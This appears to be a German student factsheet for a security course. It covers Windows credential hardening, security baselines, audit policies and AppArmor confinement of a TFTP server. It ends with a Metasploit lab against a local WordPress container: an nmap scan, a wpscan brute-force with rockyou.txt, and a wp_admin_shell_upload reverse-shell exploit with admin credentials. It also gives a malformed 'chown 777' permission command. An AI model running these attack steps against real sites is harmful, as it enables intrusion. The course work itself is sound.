B3 - Factsheet

Autoren: Lukas Freudensprung, Abd Sattaar Matitu, Sebastian Trostmann, Morris Tichy

Inhaltsverzeichnis

1. Credentials Protection

1.1. Protected Users Group

1.1.1. Was ist die Protected Users Group?

Die Protected-Users-Group ist eine globale Sicherheisgruppe für das AD, um sich vor Credential-Diebstahl schützen zu können. Die Gruppe triggered Schutzmaßnahmen welche nicht explizit konfiguriert wurden, damit Credential Caching verhindert werden kann.

Vorraussetzungen

- Windows Client läuft auf Windows 8.1 oder später
- Windows Server 2012 R2 oder später
- Domain Functional Level muss Windows Server 2012 R2 oder später sein
- Protected Global Security Group Memberships bregenzen Admins nur AES für Kerberos zu verwenden. Demnach müssen Mitglieder in der Lage sein, sich mit AES authentifizieren zu können.

User kann man entweder mittels UI-Tools wie dem Admin-Center, Active Directory Users und Computers oder durch Powershell-Commandos hinzufügen.

Enterprise-Admins und Domain-Admins sollten nicht zur Protected-Users-Group gehören. Service- und Computer-Accounts ebenfalls nicht in die Protected-Users-Group hinzufügen. Es würde sich nicht auszahlen, da Passwörter am lokalen Host immer verfügbar sind.

1.2. Checkliste Protected Users Group

- [ ] Vorraussetzungen wie oben beschrieben erfüllt.
- [ ] Powershell öffnen

Folgenden Command ausführen:

```powershell
Get-ADGroup -Identity "Protected Users" | Add-ADGroupMember –Members "CN=Adam,CN=Users,DC=corp,DC=example,DC=com"
```

1.3. Credetial Guard

1.3.1. Was ist der Credential Guard?

Der Credential Guard ist eine Sicherheitsfunktion in Windows 10 und Windows Server 2016, die dazu dient, Anmeldeinformationen zu schützen. Der Credential Guard verwendet virtualisierungsbasierte Sicherheit, um Anmeldeinformationen zu schützen, indem sie in einem geschützten Bereich des Systems gespeichert werden.

Vorraussetzungen für Win 11, 22H2 oder später

- [ ] Lizenzanforderungen wurden erfüllt
- [ ] Hard- und Softwareanforderungen wurden erfüllt
- [ ] Credential Guard wurde nicht explizit deaktiviert

Vorraussetzungen für Windows Server

- [ ] Die Lizensierunganforderungen wurden erfüllt
- [ ] Die Hard- und Software Anforderungen wurden erfüllt
- [ ] Credential Guard wurde explizit nicht deaktiviert
- [ ] Teil einer Domäne
- [ ] Kein Domain Controller

Featureanforderungen damit der Credential Guard funktioniert:

- [ ] Virtualized-based Security (VBS)
- [ ] Secure Boot

Optionale features wären:

- [ ] Trusted Platform Module (TPM)
- [ ] UEFI lock

1.4. Checkliste Credential Guard

- [ ] Vorraussetzungen wie oben beschrieben erfüllt
- [ ] Secure Boot aktiviert
- [ ] Group Policy Management öffnen
- [ ] Neue Gruppenrichtlinie erstellen
- [ ] Zu folgendem Pfad navigieren: Computer Configuration -> Administrative Templates -> System -> Device Guard -> Turn on Virtualization Based Security
- [ ] Gruppenrichtlinie aktivieren
- [ ] gpupdate /force in der Powershell ausführen
- [ ] Überprüfung durch Systeminformationen

2. Windows Security Baseline

2.1. Was ist die Windows Security Baseline?

Eine Security-Baseline ist eine Gruppe von von Microsoft empfohlenen Konfigurationseinstellungen, die deren Auswirkungen auf die Sicherheit erläutern. Diese Einstellungen basieren auf Feedback von Microsoft-Security-Entwicklungsteams, -Produktgruppen, -Partnern und -Kunden.

Policy Analyzer

Der PolicyAnalyzer ist ein Microsoft-Tool, das Administratoren hilft, Gruppenrichtlinien objektiv zu analysieren und zu vergleichen. Es wird oft in Verbindung mit den Windows Security Baselines genutzt, um Sicherheitsrichtlinien zu überprüfen und sicherzustellen, dass sie den empfohlenen Best Practices entsprechen. Der Policy-Analyzer kann verschiedene GPOs (Group Policy Objects) auswerten. Abweichungen zwischen ihnen aufzeigen und mit den vordefinierten Compliance-Vorgaben der Security-Baselines abgleichen. Dies erleichtert es Unternehmen, ihre Systeme auf Sicherheitslücken zu prüfen, Richtlinien zentral zu verwalten und sicherzustellen, dass alle Geräte den vorgeschriebenen Sicherheitsstandards entsprechen.

2.2. Checkliste Windows Security Baseline

- [ ] Windows Security Compliance Toolkit heruntergeladen
- [ ] Policy Analyzer ausgeführt
- [ ] Baseline im Policy Anazyler hinzugefügt
- [ ] Security Baseline per GPOs bereitstellen
- [ ] Group Policy Management öffnen
- [ ] Neue Gruppenrichtlinie erstellen
- [ ] Pfad auf dem die Baseline liegt importieren
- [ ] GPO-Status aktivieren
- [ ] Auf geforderte OUs anbinden

3. Advanced Security Audit Policies

3.1. Theorie

3.1.1. Was sind Advanced Security Audit Policies?

Die Advanced Security Audit Policies ermöglichen eine detaillierte Kontrolle über sicherheitsrelevante Ereignisse im Netzwerk. Sie erweitern die klassischen Audit Policies und bieten granulare Einstellungsmöglichkeiten zur Überwachung sicherheitskritischer Prozesse.

3.1.2. Vorteile

- Verbesserte Transparenz und Nachvollziehbarkeit von sicherheitsrelevanten Ereignissen
- Frühe Erkennung von Sicherheitsvorfällen
- Einhaltung von Compliance-Vorgaben
- Präzisere Kontrolle durch detaillierte Audit-Kategorien

3.2. Checkliste

- ☐ Group Policy Management Console öffnen
- ☐ Neue Gruppenrichtlinie erstellen
- ☐ Zu folgendem Pfad navigieren:
  Computer Configuration\Windows Settings\Security Settings\Advanced Audit Policy Configuration\System Audit Policies
- ☐ Beliebige Kategorien aktivieren, zum Beispiel:
  Account Management -> Audit User Account Management
  Logon/Logoff -> Audit Kerberos Authentication Service
  Account Management -> Audit Security Group Management
  DS Access -> Audit Directory Service Changes
- ☐ Gruppenrichtlinie mit OU verknüpfen
- ☐ Überprüfung durch Event Viewer (Windows Logs -> Security)

4. AppArmor

4.1. Theorie

4.1.1. TFTP

TFTP (Trivial File Transfer Protocol) ist ein einfaches Protokoll zum Übertragen von Dateien über ein Netzwerk. Es wird häufig in Umgebungen eingesetzt, in denen geringe Ressourcenanforderungen wichtig sind, wie beispielsweise beim Booten von Thin Clients oder Netzwerkgeräten. TFTP verwendet das UDP-Protokoll und bietet im Vergleich zu FTP weniger Funktionen, was es jedoch leichter und schneller macht.

tftp-hpa ist eine erweiterte Version des BSD TFTP-Clients und -Servers, entwickelt von H. Peter Anvin. Diese Implementierung enthält zahlreiche Fehlerbehebungen und Verbesserungen gegenüber dem Original und ist auf den meisten modernen Unix-Varianten lauffähig. Es ist wichtig zu beachten, dass tftp-hpa in der Vergangenheit Sicherheitslücken aufwies, wie beispielsweise einen Pufferüberlauf, der es Angreifern ermöglichte, beliebigen Code auszuführen. Diese Schwachstelle wurde jedoch behoben, und es wird empfohlen, stets die neueste Version zu verwenden, um Sicherheitsrisiken zu minimieren.

4.1.2. AppArmor

AppArmor (Application Armor) ist ein Sicherheitsmodul des Linux-Kernels, das es Systemadministratoren ermöglicht, die Fähigkeiten von Programmen durch spezifische Profile einzuschränken. Diese Profile können Berechtigungen wie Netzwerkzugriff, Zugriff auf Raw-Sockets sowie Lese-, Schreib- oder Ausführungsrechte für bestimmte Pfade definieren. AppArmor ergänzt das traditionelle Unix-Discretionary-Access-Control-Modell (DAC) durch die Bereitstellung von Mandatory Access Control (MAC). Seit der Kernel-Version 2.6.36 ist AppArmor teilweise im Hauptzweig des Linux-Kernels enthalten, und seine Entwicklung wird seit 2009 von Canonical unterstützt.

Ein herausragendes Merkmal von AppArmor ist der Lernmodus, in dem Profilverletzungen protokolliert, aber nicht verhindert werden. Dies ermöglicht Administratoren, Profile basierend auf dem typischen Verhalten eines Programms zu erstellen, ohne den laufenden Betrieb zu beeinträchtigen. Befürworter von AppArmor betonen, dass es weniger komplex und für den durchschnittlichen Benutzer leichter zu erlernen ist als beispielsweise SELinux. Zudem erfordert AppArmor weniger Anpassungen an bestehenden Systemen, da es dateisystemunabhängig arbeitet und keine speziellen Anforderungen an das Dateisystem stellt.

4.2. Checkliste

4.2.1. TFTP

- [ ] tftpd-hpa und tftp-hpa installieren, starten und enablen
- [ ] Log-Datei konfigurieren
- [ ] Ordner für TFTP-Dateien erstellen und Berechtigungen setzen
- [ ] Firewall-Regeln für TFTP konfigurieren
- [ ] TFTP-Server testen mit tftp, get und put

4.2.2. AppArmor

- [ ] AppArmor(-utils) installieren und starten
- [ ] AppArmor-Profile für Programme erstellen und aktivieren
- [ ] Programme testen und Verletzungen überwachen
- [ ] Profile scannen und Berechtigungen anpassen
- [ ] Mit aa-unconfined überprüfen, dass Programm durch erstelltes Profil gesichert ist.
- [ ] Falls nötig: Finetuning in /etc/apparmor.d/usr.sbin.in.tftpd am Profil durchführen.

4.3. Befehlsreferenz

4.3.1. TFTP

Command	Erklärung
`sudo apt install tftpd-hpa`	tftp server installieren
`sudo apt install tftp-hpa`	tftp client installieren
`sudo systemctl start tftpd-hpa`	tftp server starten
`sudo systemctl enable tftpd-hpa`	tftp server automatisch beim hochfahren starten

`sudo nano /etc/default/tftpd-hpa` (bash)
`TFTP_USERNAME="tftp"`
`TFTP_DIRECTORY="/srv/tftp"`
`TFTP_ADDRESS="0.0.0.0:69"`
`TFTP_OPTIONS="--secure --create"`
	Konfigurationsdatei des TFTP Servers -> Hier kann die Log-Datei hinzugefügt werden, falls nötig

Command	Erklärung
`cd /srv/tftp`	Ordner in dem die Dateien liegen, die vom TFTP-Server bereitgestellt werden.
`chown 777 /srv/tftp`	Berechtigungen setzen
`sudo nano test.txt`	Testfile erstellen
`tftp IP-ADRESSE`	Auf den TFTP-Server zugreifen
`help`	in TFTP um die Optionen zu sehen
`get test.txt`	test.txt herunterladen
`q`	aus tftp herauskommen

4.3.2. AppArmor

Command	Erklärung
`sudo apt install apparmor apparmor-utils`	apparmor installieren
`apparmor_status`	Zeigt aktuellen Status sowie jeweilige Betriebsart
`aa-enforce`	Wechselt bei einem Profil in den enforce-Modus (setzt das geladene Profil um)
`aa-complain`	Wechselt ein Profil in den complain-Modus, in dem er nur protokolliert
`aa-teardown`	Beendet und entlädt vollständig alle Profile
`aa-status`	Zeigt nochmals alle Profile usw an

Command	Erklärung
`aa-unconfined`	Zeigt alle noch nicht durch AppArmor gesicherten Services an
`sudo aa-genprof in.tftpd`	Erstellt ein eigenes Profil für den TFTP-Server und aktiviert es nach Konfiguration
`sudo aa-logprof in.tftpd`	Aktualisiert das Profil anhand der im Syslog protokollierten Berechtigungsanfragen

5. Metasploit Framework

5.1. Theorie

5.1.1. Docker Compose

Mit Docker Compose können mehrere Container in einer einzigen Datei definiert werden, ebenso wie ihre gegenseitigen Beziehungen. Alle Container können dann mit nur einem einzigen Befehl gestartet werden. Dies erweist sich als besonders praktisch, da die Datei geteilt werden kann, um eine einheitliche Serverumgebung sicherzustellen.

5.1.2. Wordpress

Wordpress ist eine Open-Source-Managment-System, dass dem Nutzer auf einer einfache Weise ermöglicht wichtige Aspetke einer Website - wie zum Beispiel: Design - zu verwalten. Jede rund jede vierte Website wird durch Wordpress gehostet, da es sehr beliebt ist und wenig technisches Wissen erfordert.

5.1.3. Metasploit

Das Metasploit-Projekt ist ein Projekt zur Computersicherheit, das Informationen über Sicherheitslücken bietet und bei Penetrationstests sowie der Entwicklung von IDS-Signaturen eingesetzt werden kann. Das bekannteste Teilprojekt ist das freie Metasploit Framework, ein Werkzeug zur Entwicklung und Ausführung von Exploits gegen verteilte Zielrechner. Andere wichtige Teilprojekte sind das Shellcode-Archiv und Forschung im Bereich der IT-Sicherheit.

5.1.3.1. Nmap

Nmap ist ein freier Portscan der verwendet wird um Informationen über das Zielsystem herauszufinden. Das Programm schaut nach offenen Ports im Netzwerk und ist beliebt um die Netzwerksicherheit zu gewährleisten.

5.2. Checkliste

5.2.1. Wordpress

- [ ] Installation von Docker-Compose
- [ ] Erstellung von Wordpress Projekt
- [ ] Erstellung von YAML Datei
- [ ] Start des Projektes
- [ ] Grundkonfiguration von Wordpress

5.2.2. Metasploit

- [ ] Installation von Database Server
- [ ] Starten von Metasploit
- [ ] Durchführung von Nmap Scan

5.2.3. Passwort Attacke

- [ ] Durchführung von wpscan
- [ ] Auslesen von User & Passwort
- [ ] Starten einer Reversed-Shell
- [ ] Ausführung von Befehlen auf Metasploit

5.3. Befehlsreferenz

Command	Erklärung
`sudo apt-get install docker-compose-plugin`	Installation von Docker-Compose
`sudo snap install docker`	Installation von Docker
`cd my_wordpress`	Erstellung vom Projekt

Command	Erklärung
siehe YAML (Kapitel 5.3.1)	Erstellung von YAML Datei
`docker-compose up -d`	Starten von dem Service
`sudo systemctl start postgresql`	Installation von Database Server
`sudo systemctl start postgresql`	Installation von Database Server
`msfconsole`	Starten von Metasploit
`db_nmap -v -sV 192.168.181.167`	Durchführung von Map Scan
`hosts`	Erkannte Hosts anzeigen
`wpscan --url http://192.168.181.167 -U users.txt -P /usr/share/wordlists/rockyou.txt`	Durchführung von wpscan
Reversed-Shell Ausführung (Kapitel 5.3.2)	Reversed-Shell Ausführung

5.3.1. docker-compose.yml

In dem nachfolgenden Codeblock steht die Konfiguration der docker-compose.yml Datei.

```
services:
  db:
    # We use a mariadb image which supports both amd64 & arm64 architecture
    image: mariadb:10.6.4-focal
    # If you really want to use MySQL, uncomment the following line
    #image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    volumes:
      - db_data:/var/lib/mysql
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:latest
```

```
    volumes:
      - wp_data:/var/www/html
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:
  wp_data:
```

5.3.2. Reversed-Shell

In dem nachfolgenden Codeblock steht die Konfiguration der Reversed-Shell

```bash
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS 192.168.181.167  # Ziel-IP des WordPress-Servers
set TARGETURI /             # WordPress läuft direkt im Root-Verzeichnis
set USERNAME Morris         # Administrator-Benutzername
set PASSWORD Ganzgeheim123! # Administrator-Passwort
exploit
```